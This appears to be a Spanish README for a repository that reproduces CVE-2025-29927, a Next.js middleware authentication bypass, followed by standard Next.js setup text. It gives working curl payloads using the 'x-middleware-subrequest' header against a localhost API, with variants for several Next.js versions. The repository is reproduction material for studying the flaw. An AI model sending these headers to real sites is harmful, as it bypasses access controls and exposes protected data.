
vulnerable-nextjs-14-CVE-2025-29927
Este repositorio es una reproducción de la vulnerabilidad CVE-2025-29927 en el paquete next
/api/hello$ curl http://localhost:3000/api/hello
{"error":"Unauthorized"}%
$ curl -H "Authorization: my-jwt-token-here" http://localhost:3000/api/hello
{"message":"Hello World"}%
middleware 5 veces en el encabezado especial x-middleware-subrequest:curl -H "x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware" http://localhost:3000/api/hello
{"message":"Hello, World"}
Las versiones 12 y 13 de Next.js solían tener una convención de nomenclatura diferente para el archivo middleware (_middleware.js), que se cambió a middleware.js en Next.js 14. Esta vulnerabilidad se puede explotar en versiones anteriores usando el archivo _middleware.js.
Por ejemplo, los siguientes payloads aplicarían, dependiendo de la versión de Next.js y tu convención de enrutamiento:
curl -H "x-middleware-subrequest: middleware" http://localhost:3000/api/hello (para Next.js versión 12.2 con el archivo middleware.js en la raíz de la app, no dentro del directorio pages)curl -H "x-middleware-subrequest: src/middleware" http://localhost:3000/api/hellocurl -H "x-middleware-subrequest: _middleware" http://localhost:3000/api/hello (para Next.js versiones 11 hasta 12.2)curl -H "x-middleware-subrequest: pages/_middleware" http://localhost:3000/api/hellocurl -H "x-middleware-subrequest: pages/admin/_middleware" http://localhost:3000/api/helloPrimero, ejecuta el servidor de desarrollo:
npm run dev
# or
yarn dev
# or
pnpm dev
# or
bun dev
Abre http://localhost:3000 en tu navegador para ver el resultado.
Puedes empezar a editar la página modificando app/page.js. La página se actualiza automáticamente conforme editas el archivo.
Este proyecto utiliza next/font para optimizar y cargar automáticamente Geist, una nueva familia tipográfica para Vercel.
Para aprender más sobre Next.js, echa un vistazo a los siguientes recursos:
Puedes consultar el repositorio de Next.js en GitHub - ¡tus comentarios y contribuciones son bienvenidos!
La forma más fácil de desplegar tu aplicación Next.js es usar la Plataforma Vercel de los creadores de Next.js.
Consulta nuestra documentación de despliegue de Next.js para más detalles.